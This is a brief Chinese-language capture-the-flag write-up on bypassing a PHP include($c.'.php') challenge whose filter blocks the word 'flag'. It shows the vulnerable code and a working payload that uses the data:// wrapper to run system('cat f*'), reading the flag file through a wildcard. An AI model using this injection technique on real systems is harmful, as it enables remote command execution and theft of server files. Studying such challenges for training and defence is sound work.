命令执行:include($c.”.php”)的绕过
代码如下:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
看似被.php吓住了,但实际十分简单,只要使用:data://text/plain
这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
payload:
?c=data://text/plain,<?php system(“cat f*”); ?>